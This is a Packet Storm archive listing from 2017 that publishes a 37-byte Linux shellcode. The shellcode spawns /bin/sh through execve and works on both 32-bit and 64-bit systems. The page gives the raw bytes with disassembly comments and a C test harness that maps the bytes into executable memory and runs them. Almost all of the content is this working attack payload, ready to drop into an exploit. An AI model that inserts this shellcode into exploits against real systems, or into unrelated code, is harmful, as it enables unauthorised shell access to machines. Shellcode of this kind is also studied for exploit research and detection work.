exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode
Posted Jan 31, 2017
Authored by odzhancode

37 bytes small Linux multi/dual mode execve("/bin/sh", NULL, 0) shellcode.

tags | shellcode
systems | linux
SHA-256 | 5d66724b482980f093cf39cb73798405fa5dcce58709c0bd9ae27f7dac0eb088

Linux Multi/Dual Mode execve("/bin/sh", NULL, 0) Shellcode

Change Mirror Download
/**
Copyright A(c) 2017 Odzhan. All Rights Reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:

1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.

3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE. */

#include <stdio.h>
#include <string.h>
#include <stdint.h>

#include <sys/mman.h>

#define SHX_SIZE 37

char SHX[] = {
/* 0000 */ "\x31\xf6" /* xor esi, esi */
/* 0002 */ "\xf7\xe6" /* mul esi */
/* 0004 */ "\x52" /* push rdx */
/* 0005 */ "\x52" /* push rdx */
/* 0006 */ "\x52" /* push rdx */
/* 0007 */ "\x54" /* push rsp */
/* 0008 */ "\x5b" /* pop rbx */
/* 0009 */ "\x53" /* push rbx */
/* 000A */ "\x5f" /* pop rdi */
/* 000B */ "\xc7\x07\x2f\x62\x69\x6e" /* mov dword [rdi], 0x6e69622f */
/* 0011 */ "\xc7\x47\x04\x2f\x2f\x73\x68" /* mov dword [rdi+0x4], 0x68732f2f */
/* 0018 */ "\x40\x75\x04" /* jnz 0x1f */
/* 001B */ "\xb0\x3b" /* mov al, 0x3b */
/* 001D */ "\x0f\x05" /* syscall */
/* 001F */ "\x31\xc9" /* xor ecx, ecx */
/* 0021 */ "\xb0\x0b" /* mov al, 0xb */
/* 0023 */ "\xcd\x80" /* int 0x80 */
};

void xcode(char *s, int len)
{
void *bin;

bin=mmap (0, len,
PROT_EXEC | PROT_WRITE | PROT_READ,
MAP_ANON | MAP_PRIVATE, -1, 0);

memcpy (bin, s, len);

// execute
((void(*)())bin)();

munmap (bin, len);
}

int main(void)
{
xcode (SHX, SHX_SIZE);
return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close